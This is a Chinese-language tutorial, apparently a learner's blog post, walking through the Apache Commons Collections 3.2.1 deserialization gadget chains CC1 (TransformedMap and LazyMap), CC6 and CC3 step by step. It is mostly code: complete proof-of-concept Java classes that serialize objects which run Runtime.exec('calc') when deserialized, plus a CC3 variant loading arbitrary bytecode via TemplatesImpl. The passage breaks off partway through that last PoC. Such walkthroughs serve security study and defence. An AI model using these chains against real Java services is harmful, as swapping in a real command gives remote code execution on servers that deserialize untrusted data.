Java反序列化漏洞

Commons Collections

Apache Commons 是 Apache 软件基金会的项目。Commons Collections 包为 Java 标准的 Collections API 提供了相当好的补充。在此基础上对其常用的数据结构操作进行了很好的封装、抽象和补充。让我们在开发应用程序的过程中，既保证了性能，同时也能大大简化代码。

Commons Collections的版本是3.2.1，版本过高就无法调试；还有一点就是Commons Collections其实有俩条利用链，lazymap和transformeredmap。现在网上流行的都是对transformeredmap的分析，就是因为它比较简单利用

关于高版本的jdk调用链其实还有办法

小白可能遇到的问题

作者是一个小白，第一次挖Commons-Collections1这一条链子，遇到了一些困难。在这里做一下标记，希望能够帮助小伙伴们解决相同的问题。

寻找jdk版本：Commons-Collections1使用的jdk版本必须是jdk1.8.0_8u71以下，所以我们要适配该版本以下的版本。网上我找了半天没有找到符合要求的jdk，最后看了这位师傅的博客Oracle jdk old release 历史版本下载找到了正确的版本。jdk要下载JDK(JAVA Developpment Kit)
关于windows电脑放入多个jdk的问题：因为我们经常使用不同的jdk版本，解决方法是比如说jdk1.7先在虚拟机中安装好，然后将jdk1.7拷贝出来放到主机的java的jdk目录下
JDk源码问题：在Oracle JDK中下载的JDK未必包含我们所需要的部分源码，比如说sun包下的源码就不包含。这就导致我们在调试的时候不方便，所以我们需要在openjdk中下载比较接近Oracle JDK版本的源码。这里提供一个CC1链需要的sun包源码http://hg.openjdk.java.net/jdk8u/jdk8u/jdk/archive/af660750b2f4.zip
IDEA中导入JDK源码：这个就直接看网上的教程了，
IDEA调试的快捷键：
- 查看接口的继承子类：ctrl+H
- 查看方法可以被哪里调用：右键选择FindUsages

知识补充：jdk中的包

java.*

JavaSE的标准库，是java标准的一部分，是对外承诺的java开发接口，通常要保持向后兼容，一般不会轻易修改。包括其他厂家(IBMJDK/HPJDK/OpenJDK)在内，所有jdk的实现，在java.*上都是一样的。
javax.*

也是java标准的一部分，但是没有包含在标准库中，一般属于标准库的扩展。通常属于某个特定领域，不是一般性的api。

此上两者都属于java标准库，公有的API，遵循java平台规范，

com.sun.*

是sun的hotspot虚拟机中java.* 和javax.*的实现类。因为包含在rt中，所以我们也可以调用。但是因为不是sun对外公开承诺的接口，所以根据根据实现的需要随时增减，因此在不同版本的hotspot中可能是不同的，而且在其他的jdk实现中是没有的，调用这些类，可能不会向后兼容，所以一般不推荐使用。
org.*

是由企业或者组织提供的java类库，大部分不是sun公司提供的，同com.sun.*，不具备向后兼容性，会根据需要随时增减。其中比较常用的是w3c提供的对XML、网页、服务器的类和接口
sun.*包：

1、不是API公开接口的一部分，调用sun包的程序并不能确保工作在所有Java平台上，不同的操作系统中的实现可能不相同。

2、不同的jdk版本sun包中的类也可能不定期的变化，因此sun.*包中的类没有提供API文档及源码。

白日梦组长的利用链导图

最后还有一些利用链没贴

p神知识星球里一位师傅对CC链的整理

CC1-TransformMap

版本限制：

jdk版本：低于jdk1.8.0_8u71

commons-collections版本：

 <dependencies>

    <dependency>

        <groupId>commons-collections</groupId>

        <artifactId>commons-collections</artifactId>

        <version>3.2.1</version>

    </dependency>

  </dependencies>

环境配置

我们需要做的工作是下载一个版本低于jdk1.8.0_8u71的jdk，然后在IDEA中新键一个maven项目(不需要配置javaweb项目)。在项目中的pom.xml中进行导入commons-collections的包。

 <dependencies>

    <dependency>

        <groupId>commons-collections</groupId>

        <artifactId>commons-collections</artifactId>

        <version>3.2.1</version>

    </dependency>

  </dependencies>

然后我们需要在IDEA中配置jdk的版本，我这里配置的是jdk1.8.0_8u65.

利用链分析

java反序列化漏洞的入口类重写了readObject()，然后通过readObject()方法中调用了其他类的方法，以此类推最后可以执行我们的Runtime类的exec危险方法。分析过程我们从执行Runtime类的exec()方法和InvokeTransformerhander反向分析，最后得出完整的整条利用链。

InvokeTransformerhander

InvokerTransformerHander类中的transform方法是一个危险的方法，分析一下它的方法内容，不难发现是用反射来执行一个方法

public Object transform(Object input) {

    if (input == null) {

        return null;

    }

    try {

        Class cls = input.getClass();

        Method method = cls.getMethod(iMethodName, iParamTypes);

        return method.invoke(input, iArgs);

    } catch (NoSuchMethodException ex) {

        throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist");

    } catch (IllegalAccessException ex) {

        throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed");

    } catch (InvocationTargetException ex) {

        throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);

    }

}

用UsagesFind找一下哪里可以调用这个类的transform方法。TransformedMap类的checkSetValue能够调用InvokeTransformerhander的transform方法

protected Object checkSetValue(Object value) {

    return valueTransformer.transform(value);

}

继续UsagesFind寻找，AbstractInputCheckedMapDecoator类的setValue()可以调用这个方法

public Object setValue(Object value) {

    value = parent.checkSetValue(value);

    return entry.setValue(value);

}

而AnnoationInvocationHander类的readObject方法里面可以调用setvalue方法

private void readObject(java.io.ObjectInputStream s)

    throws java.io.IOException, ClassNotFoundException {

    s.defaultReadObject();

    // Check to make sure that types have not evolved incompatibly

    AnnotationType annotationType = null;

    try {

        annotationType = AnnotationType.getInstance(type);

    } catch(IllegalArgumentException e) {

        // Class is no longer an annotation type; time to punch out

        throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream");

    }

    Map<String, Class<?>> memberTypes = annotationType.memberTypes();

    // If there are annotation members without values, that

    // situation is handled by the invoke method.

    for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {

        String name = memberValue.getKey();

        Class<?> memberType = memberTypes.get(name);

        if (memberType != null) {  // i.e. member still exists

            Object value = memberValue.getValue();

            if (!(memberType.isInstance(value) ||

                  value instanceof ExceptionProxy)) {

                memberValue.setValue(

                    new AnnotationTypeMismatchExceptionProxy(

                        value.getClass() + "[" + value + "]").setMember(

                        annotationType.members().get(name)));

            }

        }

    }

}

因为AnnoationInvocationHander类的构造方法是default，所以我们需要利用反射来构造该类的对象。这里因为 sun.reflect.annotation.AnnotationInvocationHandler 是在JDK内部的类，不能直接使用new来实例化。我使用反射获取到了它的构造方法，并将其设置成外部可见的，再调用就可以实例化了。

Transformer invokerTransformer

    = InvokerTransformer.getInstance("exec", new Class[]{String.class}, new Object[]{"calc"});

HashMap<Object,Object> hashMap = new HashMap<Object,Object>();

TransformedMap transformedMap = (TransformedMap)TransformedMap.decorate(hashMap,null,invokerTransformer);

Class clazz1 = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");

Constructor clazzDeclaredConstructor= clazz1.getDeclaredConstructor(Class.class, Map.class);

clazzDeclaredConstructor.newInstance(Override.class,transformedMap);

按照上面的思路最后就构造出来这条链子了，但是它是无法进行序列化的。

Runtime这个类没有继承Serializable，无法序列化
AnnotationInvocationHandler的readObject方法的俩个if判断以及最后的可控参数setValue()

Runtime类反射

Runtime无法序列化，但是我们知道它的Class类对象是可以序列化的，那么就需要将Runtime命令执行利用反射写出来

Class clazz0 = Class.forName("java.lang.Runtime");

Method getRuntimemethod = (Method) clazz0.getDeclaredMethod("getRuntime");

Runtime runtime = (Runtime) getRuntimemethod.invoke(null);

Method getexecmethod = (Method) clazz0.getDeclaredMethod("exec",String.class);

Object calc = getexecmethod.invoke(runtime,"calc");

但是如果把它放在InvokerTransformer的getInstance中能实现吗？不能实现。但是Commons-Collections框架中有一个ChainedTransformer类transformer方法可以循环利用反射调用方法

public Object transform(Object object) {

    for (int i = 0; i < iTransformers.length; i++) {

        object = iTransformers[i].transform(object);

    }

    return object;

}

可以利用它来做加强版的“InvokeTransformer”，而且它的构造方法也比较简单

public ChainedTransformer(Transformer[] transformers) {

    super();

    iTransformers = transformers;

}

所以我们直接构造一个InvokerTransformer数组

Method getRuntimemethod= (Method) new InvokerTransformer("getDeclaredMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}).transform(Runtime.class);

Runtime runtime = (Runtime) new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}).transform(getRuntimemethod);

Method getexecmethod = (Method) new InvokerTransformer("getDeclaredMethod",new Class[]{String.class,Class[].class},new Object[]{"exec",new Class[]{String.class}}).transform(Runtime.class);

Object invoke = new InvokerTransformer("invoke", new Class[]{Object.class,Object[].class},new Object[]{runtime, new String[]{"calc"}}).transform(getexecmethod);

但是需要注意一点这里ChainedTransformer的transformer方法的object参数必须是一个承接一个，所以我们最后优化后的是：

Transformer[] transformers = new Transformer[]{

    new InvokerTransformer("getDeclaredMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),

    new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),

    new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}),

};

setValue参数

我们需要绕过俩个if，因为涉及到注解的一些知识，这里直接给出条件

sun.reflect.annotation.AnnotationInvocationHandler 构造函数的第一个参数必须是 Annotation的子类，且其中必须含有至少一个方法，假设方法名是X
被 TransformedMap修饰的Map中必须有一个键名为X的元素

这里选择Target注解，所以键名是value

@Target(ElementType.ANNOTATION_TYPE)

public @interface Target {

    /**

     * Returns an array of the kinds of elements an annotation type

     * can be applied to.

     * @return an array of the kinds of elements an annotation type

     * can be applied to

     */

    ElementType[] value();

}

这个问题解决完以后，还有就是setValue()方法的参数。它的参数其实是不可控的，Debug调试一下，当我们走到ChainedTransformer的transform方法时，看到的第一个Object参数，永远不可控。

但是Commons-Collections有一个类是ConstantTransformer，它的transformer参数无论接受什么都会返回iConstant。这对我们来说非常好，并且iConstant参数极其易控制

public ConstantTransformer(Object constantToReturn) {

    super();

    iConstant = constantToReturn;

}

/**

     * Transforms the input by ignoring it and returning the stored constant instead.

     *

     * @param input  the input object which is ignored

     * @return the stored constant

     */

public Object transform(Object input) {

    return iConstant;

}

所以我们最后构造的Transform数组是：

Transformer[] transformers = new Transformer[]{

    new ConstantTransformer(Runtime.class),

    new InvokerTransformer("getDeclaredMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),

    new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),

    new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}),

};

整体的思路:

AnnotationInvocationHandler.readObject()

    -TransformedMap.checkSetValue()

    	-ChainedTransformer.transform()

    		-ConstantTransformer()

    			Runtime.class

    		-InvokerTransformer()

                clazz.getDeclaredMethod()

            -InvokerTransformer()

                method.invoke()

            -InvokerTransformer()

                runtime.exec()

整理一下，最后完整的POC是：

import org.apache.commons.collections.Transformer;

import org.apache.commons.collections.functors.ChainedTransformer;

import org.apache.commons.collections.functors.ConstantTransformer;

import org.apache.commons.collections.functors.InvokerTransformer;

import org.apache.commons.collections.map.TransformedMap;

import java.io.*;

import java.lang.annotation.Target;

import java.lang.reflect.Constructor;

import java.lang.reflect.InvocationTargetException;

import java.lang.reflect.Method;

import java.lang.Class;

import java.util.HashMap;

import java.util.Map;

public class CC1 {

    public static void unerialize(String filename) throws IOException, ClassNotFoundException {

        ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(filename));

        objectInputStream.readObject();

        System.out.println("Successful UnSerialize");

    }

    public static void serialize(Object obj) throws IOException {

        ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("CC1.ser"));

        objectOutputStream.writeObject(obj);

        System.out.println("Successful Serialize");

    }

    public static void main(String[] args) throws Exception {

//        Transformer invokerTransformer = InvokerTransformer.getInstance("exec", new Class[]{String.class}, new Object[]{"calc"});

//        HashMap<Object,Object> hashMap = new HashMap<Object,Object>();

//        TransformedMap transformedMap = (TransformedMap) TransformedMap.decorate(hashMap,null,invokerTransformer);

//        Class clazz1 = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");

//        Constructor clazzDeclaredConstructor= clazz1.getDeclaredConstructor(Class.class, Map.class);

//        clazzDeclaredConstructor.newInstance(Override.class,transformedMap);

//        Class clazz0 = Class.forName("java.lang.Runtime");

//        Method getRuntimemethod = (Method) clazz0.getDeclaredMethod("getRuntime");

//        Runtime runtime = (Runtime) getRuntimemethod.invoke(null);

//        Method getexecmethod = (Method) clazz0.getDeclaredMethod("exec",String.class);

//        Object calc = getexecmethod.invoke(runtime,"calc");

//         Method getRuntimemethod= (Method) new InvokerTransformer("getDeclaredMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}).transform(Runtime.class);

//         Runtime runtime = (Runtime) new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}).transform(getRuntimemethod);

//         Method getexecmethod = (Method) new InvokerTransformer("getDeclaredMethod",new Class[]{String.class,Class[].class},new Object[]{"exec",new Class[]{String.class}}).transform(Runtime.class);

//         Object invoke = new InvokerTransformer("invoke", new Class[]{Object.class,Object[].class},new Object[]{runtime, new String[]{"calc"}}).transform(getexecmethod);

//

//         must change

//         Method getRuntimemethod= (Method) new InvokerTransformer("getDeclaredMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}).transform(Runtime.class);

//         Runtime runtime = (Runtime) new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}).transform(getRuntimemethod);

//         new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(runtime);

         Transformer[] transformers = new Transformer[]{

                 new ConstantTransformer(Runtime.class),

                 new InvokerTransformer("getDeclaredMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),

                 new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),

                 new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}),

         };

         ChainedTransformer chainedtransformer = new ChainedTransformer(transformers);

        HashMap<Object,Object> hashMap = new HashMap<Object,Object>();

        hashMap.put("value","123");

        TransformedMap transformedMap = (TransformedMap) TransformedMap.decorate(hashMap,null,chainedtransformer);

        Class clazz1 = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");

        Constructor clazzDeclaredConstructor= clazz1.getDeclaredConstructor(Class.class, Map.class);

        clazzDeclaredConstructor.setAccessible(true);

        Object o = clazzDeclaredConstructor.newInstance(Target.class, transformedMap);

        serialize(o);

        unerialize("CC1.ser");

    }

}

import org.apache.commons.collections.Transformer;

import org.apache.commons.collections.functors.ChainedTransformer;

import org.apache.commons.collections.functors.ConstantTransformer;

import org.apache.commons.collections.functors.InvokerTransformer;

import org.apache.commons.collections.map.TransformedMap;

import java.io.*;

import java.lang.annotation.Retention;

import java.lang.reflect.Constructor;

import java.lang.reflect.InvocationHandler;

import java.lang.reflect.InvocationTargetException;

import java.util.HashMap;

import java.util.Map;

public class study {

    public static void main(String[] args) throws IOException, ClassNotFoundException, IllegalAccessException, InvocationTargetException, InstantiationException, NoSuchMethodException {

        Transformer[] transformers = new Transformer[] {

                new ConstantTransformer(Runtime.class),

                new InvokerTransformer("getMethod", new Class[] {

                        String.class,

                        Class[].class }, new Object[] { "getRuntime",

                        new Class[0] }),

                new InvokerTransformer("invoke", new Class[] { Object.class,

                        Object[].class }, new Object[] { null, new Object[0]

                }),

                new InvokerTransformer("exec", new Class[] { String.class },

                        new String[] {

                                "calc" }),

        };

        Transformer transformerChain = new ChainedTransformer(transformers);

        Map innerMap = new HashMap();

        innerMap.put("value", "xxxx");

        Map outerMap = TransformedMap.decorate(innerMap, null,

                transformerChain);

        Class clazz =

                Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");

        Constructor construct = clazz.getDeclaredConstructor(Class.class,

                Map.class);

        construct.setAccessible(true);

        InvocationHandler handler = (InvocationHandler)

                construct.newInstance(Retention.class, outerMap);

        ByteArrayOutputStream barr = new ByteArrayOutputStream();

        ObjectOutputStream oos = new ObjectOutputStream(barr);

        oos.writeObject(handler);

        oos.close();

        System.out.println(barr);

        ObjectInputStream ois = new ObjectInputStream(new

                ByteArrayInputStream(barr.toByteArray()));

        Object o = (Object)ois.readObject();

    }

}

CC1-LazyMap

版本限制：

jdk版本：jdk8u71以下

commons-collections版本：

 <dependencies>

    <dependency>

        <groupId>commons-collections</groupId>

        <artifactId>commons-collections</artifactId>

        <version>3.2.1</version>

    </dependency>

  </dependencies>

CC1有俩条链，这一条链后半部分与前面的那条链后半部分相同，区别在于LazyMap替换了TransformedMap，ChainedTransformer的transform方法通过FindUsages查询发现也可以在LazyMap中找到，并且factory也非常好控制

public static Map decorate(Map map, Transformer factory) {

    return new LazyMap(map, factory);

}

public Object get(Object key) {

    // create value for key if key is not currently in the map

    if (map.containsKey(key) == false) {

        Object value = factory.transform(key);

        map.put(key, value);

        return value;

    }

    return map.get(key);

}

这一条链涉及到了注解和动态代理的知识，比前一条CC1链难理解，这里直接给出Gadget构造思路（以后再进行补充）

Gadget构造思路：

ObjectInputStream.readObject()

	AnnotationInvocationHandler.readObject()

    	Map(Proxy).entrySet()

				AnnotationInvocationHandler.invoke()

					LazyMap.get()

						ChainedTransformer.transform()

							ConstantTransformer.transform()

							InvokerTransformer.transform()

								Method.invoke()

									Class.getMethod()

							InvokerTransformer.transform()

								Method.invoke()

									Runtime.getRuntime()

							InvokerTransformer.transform()

									Method.invoke()

										Runtime.exec()

LazyMap的利用链：

import org.apache.commons.collections.Transformer;

import org.apache.commons.collections.functors.ChainedTransformer;

import org.apache.commons.collections.functors.ConstantTransformer;

import org.apache.commons.collections.functors.InvokerTransformer;

import org.apache.commons.collections.map.LazyMap;

import org.apache.commons.collections.map.TransformedMap;

import java.io.*;

import java.lang.annotation.Target;

import java.lang.reflect.Constructor;

import java.lang.reflect.InvocationHandler;

import java.lang.reflect.InvocationTargetException;

import java.lang.reflect.Proxy;

import java.util.HashMap;

import java.util.Map;

public class CC12 {

    public static void unerialize(String filename) throws IOException, ClassNotFoundException {

        ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(filename));

        objectInputStream.readObject();

        System.out.println("Successful UnSerialize");

    }

    public static void serialize(Object obj) throws IOException {

        ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("CC12.ser"));

        objectOutputStream.writeObject(obj);

        System.out.println("Successful Serialize");

    }

    public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, IllegalAccessException, InvocationTargetException, InstantiationException, IOException {

        Transformer[] transformers = new Transformer[]{

                new ConstantTransformer(Runtime.class),

                new InvokerTransformer("getDeclaredMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),

                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),

                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}),

        };

        ChainedTransformer chainedtransformer = new ChainedTransformer(transformers);

        HashMap<Object,Object> hashMap = new HashMap<Object,Object>();

        hashMap.put("value","123");

        LazyMap lazyMap = (LazyMap) LazyMap.decorate(hashMap,chainedtransformer);

        Class clazz1 = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");

        Constructor clazzDeclaredConstructor= clazz1.getDeclaredConstructor(Class.class, Map.class);

        clazzDeclaredConstructor.setAccessible(true);

        Object obj = clazzDeclaredConstructor.newInstance(Target.class,lazyMap);

        Map mapProxy = (Map) Proxy.newProxyInstance(lazyMap.getClass().getClassLoader(), new Class[]{Map.class}, (InvocationHandler) obj);

        Object o = clazzDeclaredConstructor.newInstance(Override.class,mapProxy);

        serialize(o);

        unerialize("CC12.ser");

    }

}

CC6-最好的链

版本限制：

jdk版本限制：jdk7和jdk8不受限制

commons-collections：对commons-collections版本限制不大

在前面说了分析了CommonsCollections1这个利⽤链和其中的LazyMap原理。但是我们说到，在 Java 8u71以后，这个利⽤链不能再利⽤了，主要原因是 sun.reflect.annotation.AnnotationInvocationHandler#readObject 的逻辑变化了。也因为这一次改变导致整个在AnnotationInvocationHandler做为入口类的链都不能用了。CC6这一条链是ysoserial里常用的一条链，该利用链可以在java 7和8的高版本触发，没有版本限制，说实话其实CC6也不会受Commons-Collections的版本限制

这一条链还是调用了CC1的LazyMap开始的后半部分，我们从后面开始分析。

public Object get(Object key) {

    // create value for key if key is not currently in the map

    if (map.containsKey(key) == false) {

        Object value = factory.transform(key);

        map.put(key, value);

        return value;

    }

    return map.get(key);

}

如果有个函数的方法可以调用LazyMap的get方法就可以实现漏洞利用，于是我们找到了TiedMapEntry类的hashCode方法，hashCode方法可以调用getValue()方法，getValue()则会调用get方法

public int hashCode() {

    Object value = getValue();

    return (getKey() == null ? 0 : getKey().hashCode()) ^

           (value == null ? 0 : value.hashCode());

}

public Object getValue() {

    return map.get(key);

}

通过寻找我们发现HashMap的readObject()方法调用了hash方法而hash方法里又可以调用TiedMapEntry的hashCode方法，这就很方便了。同时你如果知道URLDNS的话，会发现其中我们需要做一些处理(规避)。

public static void main(String[] args) {

    Transformer[] transformers = new Transformer[]{

        new ConstantTransformer(Runtime.class),

        new InvokerTransformer("getDeclaredMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),

        new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),

        new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}),

    };

    ChainedTransformer chainedtransformer = new ChainedTransformer(transformers);

    HashMap<Object,Object> hashMap = new HashMap<Object,Object>();

    hashMap.put("value","123");

    LazyMap lazyMap = (LazyMap) LazyMap.decorate(hashMap,chainedtransformer);

    TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, 123);

    HashMap<Object,Object> hashMap0 = new HashMap<Object,Object>();

    hashMap0.put(tiedMapEntry,123);

}

如果我们仅仅是将其这样设计，发现它直接就会弹计算器，如果我们跟进hashMap0.put()会发现它会调用lazyMap的hashCode(),所以会调用计算器，所以我们要规避处理。想办法让它不弹出计算器，通过反射改变链的随便一部分都可以，因为我们有ConstantTransformer。这里我们让LazyMap的decorate先修饰ConstantTransformer，最后通过反射来更改它为Chainedtransformer

Transformer[] transformers = new Transformer[]{

    new ConstantTransformer(Runtime.class),

    new InvokerTransformer("getDeclaredMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),

    new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),

    new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}),

};

ChainedTransformer chainedtransformer = new ChainedTransformer(transformers);

HashMap<Object,Object> hashMap = new HashMap<Object,Object>();

hashMap.put("value","123");

LazyMap lazyMap = (LazyMap) LazyMap.decorate(hashMap,new ConstantTransformer(1));

TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, 123);

HashMap<Object,Object> hashMap0 = new HashMap<Object,Object>();

hashMap0.put(tiedMapEntry,1234);

Class clazz = LazyMap.class;

Field factoryField = clazz.getDeclaredField("factory");

factoryField.setAccessible(true);

factoryField.set(lazyMap,chainedtransformer);

//serialize(hashMap0);

unerialize("CC6.ser");

但是又有一个新的问题，反序列化依然无法弹出计算器。什么原因呢？这一次的问题出现在lazymap的get方法处，这里还是承接了hashMap0.put()带来的影响，详细变化如下：

hashMap0.put()--hashMap0.hash()--TiedMapEntry.hashCode()--TiedMapEntry.getvalue()--LazyMap.get(templatesImpl)--hashMap.containsKey(templatesImpl)--hashMap.put(templatesImpl,)

这样的话hashMap的key中就会在反序列化之前提前有templatesImpl，真正反序列化的时候if (map.containsKey(key) == false)就会判断为真，链子将无法执行。

public Object get(Object key) {

    // create value for key if key is not currently in the map

    // 如果传入的key不在当前修饰的map中，则为key创建value

    if (map.containsKey(key) == false) {

        Object value = factory.transform(key);

        map.put(key, value); // <---问题原因

        return value;

    }

    return map.get(key);

}

当我们准备序列化时，走到lazyMap的get()方法时if条件判断为真就会走入get()方法，然后当反序列化的时候map的key已经存在了if判断条件为假就不会再执行if的部分了

所以说我们要在反序列化之前把key值消掉，HashMap的remove()方法可以去掉HashMap的key值所以最后整理的代码是这样：

Transformer[] transformers = new Transformer[]{

    new ConstantTransformer(Runtime.class),

    new InvokerTransformer("getDeclaredMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),

    new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),

    new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}),

};

ChainedTransformer chainedtransformer = new ChainedTransformer(transformers);

HashMap<Object,Object> hashMap = new HashMap<Object,Object>();

hashMap.put("value","123");

LazyMap lazyMap = (LazyMap) LazyMap.decorate(hashMap,chainedtransformer);

TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, 123);

HashMap<Object,Object> hashMap0 = new HashMap<Object,Object>();

hashMap0.put(tiedMapEntry,1234);

hashMap.remove(123);

serialize(hashMap0);

这样就可以成功在反序列化的时候成功弹出计算器了，

整理思路

--HashMap.readObject()

  --HashMap.hash()

    --TiedMapEntry.hashCode()

      --TiedMapEntry.getValue()

    	--LazyMap.get()

    	  --ChainedTransformer().transform()

    		--ConstantTransformer().transform()

    		--InvokerTransformer.transform()

    		--InvokerTransformer.transform()

    		--InvokerTransformer.transform()

最后真正的Poc如下：

import org.apache.commons.collections.Transformer;

import org.apache.commons.collections.functors.ChainedTransformer;

import org.apache.commons.collections.functors.ConstantTransformer;

import org.apache.commons.collections.functors.InvokerTransformer;

import org.apache.commons.collections.keyvalue.TiedMapEntry;

import org.apache.commons.collections.map.LazyMap;

import java.io.*;

import java.lang.reflect.Field;

import java.util.HashMap;

public class CC6 {

    public static void unerialize(String filename) throws IOException, ClassNotFoundException {

        ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(filename));

        objectInputStream.readObject();

        System.out.println("Successful UnSerialize");

    }

    public static void serialize(Object obj) throws IOException {

        ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("CC6.ser"));

        objectOutputStream.writeObject(obj);

        System.out.println("Successful Serialize");

    }

    public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException {

        Transformer[] transformers = new Transformer[]{

                new ConstantTransformer(Runtime.class),

                new InvokerTransformer("getDeclaredMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),

                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),

                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}),

        };

        ChainedTransformer chainedtransformer = new ChainedTransformer(transformers);

        HashMap<Object,Object> hashMap = new HashMap<Object,Object>();

        hashMap.put("value","123");

        LazyMap lazyMap = (LazyMap) LazyMap.decorate(hashMap,new ConstantTransformer(1));

        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, 123);

        HashMap<Object,Object> hashMap0 = new HashMap<Object,Object>();

        hashMap0.put(tiedMapEntry,1234);

        hashMap.remove(123);

        Class clazz = LazyMap.class;

        Field factoryField = clazz.getDeclaredField("factory");

        factoryField.setAccessible(true);

        factoryField.set(lazyMap,chainedtransformer);

//        serialize(hashMap0);

        unerialize("CC6.ser");

    }

}

最后成功弹出计算器

CC3-代码执行

版本限制：

jdk版本：依旧编写方式而定

commons-collections：

 <dependencies>

    <dependency>

        <groupId>commons-collections</groupId>

        <artifactId>commons-collections</artifactId>

        <version>3.2.1</version>

    </dependency>

  </dependencies>

解释一下这里为什么说jdk版本要按照编写方式而定：CC3本质上只是更改了ChainedTransformer内部的类，把命令执行更换成了代码执行，前面的部分没有发生变化，所以说如果按照CC1的方式写会限制jdk的版本在jdk8u71以下，而按照CC3的方式写就没有jdk7和8版本的限制。

ysoserial中的CC3链与前面说的CC1和CC2以及CC6不同，前面的是命令执行，而这一条链则是代码执行。CC3这一条链使用的是动态类加载(动态加载字节码)的方式，我们利用动态类加载的加载器是java.lang.ClassLoader，使用这一类加载器会顺序执行3个方法来进行类加载：loadClass()，findClass()，defineClass()

但是由于java.lang.ClassLoader类的defineClass()方法是protected的，所以我们需要寻找重写defineClass()且作用域是public的类，这里我们找到的是TemplateImpl类，

CC3-方式1

CC3的前半部分是CC1(ysoserial)readObject()至InvokerTransformer，后半段是TemplateImpl类加载利用链；这条利用链的动态类加载部分在《java反序列化漏洞入门篇》有过记录；这条链的前半部分就是CC1的前半部分。

整体思路：

--ObjectInputStream.readObject()

  --AnnotationInvocationHandler.readObject()

    --Map(Proxy).entrySet()

	  --AnnotationInvocationHandler.invoke()

		--LazyMap.get()

		  --ChainedTransformer.transform()

			--ConstantTransformer.transform()

			--InvokerTransformer.transform()

    		  --method.invoke()

                  --TemplatesImpl.newTransformer()

                    --TemplatesImpl.getTransletInstance()

                      --TemplatesImpl.defineTransletClasses()

                        --TemplateClassLoader.defineClass()

                    --TemplatesImpl.getTransletInstance()

完整的POC：

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;

import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;

import org.apache.commons.collections.Transformer;

import org.apache.commons.collections.functors.ChainedTransformer;

import org.apache.commons.collections.functors.ConstantTransformer;

import org.apache.commons.collections.functors.InvokerTransformer;

import org.apache.commons.collections.map.LazyMap;

import java.io.*;

import java.lang.annotation.Target;

import java.lang.reflect.Constructor;

import java.lang.reflect.Field;

import java.lang.reflect.InvocationHandler;

import java.lang.reflect.Proxy;

import java.nio.file.Files;

import java.nio.file.Paths;

import java.util.HashMap;

import java.util.Map;

public class CC3 {

    public static void main(String[] args) throws Exception{

        byte[] code= Files.readAllBytes(Paths.get("D:\\HelloAbstractTranslet.class"));

        TemplatesImpl templates = new TemplatesImpl();

        setFieldValue(templates, "_bytecodes",new byte[][]{code});

        setFieldValue(templates, "_name", "name");

        setFieldValue(templates, "_tfactory",new TransformerFactoryImpl());

        Transformer[] transformers = new Transformer[]{

                new ConstantTransformer(templates),

                new InvokerTransformer("newTransformer",new Class[]{},new Object[]{}),

                //利用InvokerTransformer的反射机制调用templates的newTransformer方法

        };

        ChainedTransformer chainedtransformer = new ChainedTransformer(transformers);

        HashMap<Object,Object> hashMap = new HashMap<Object,Object>();

        hashMap.put("value","123");

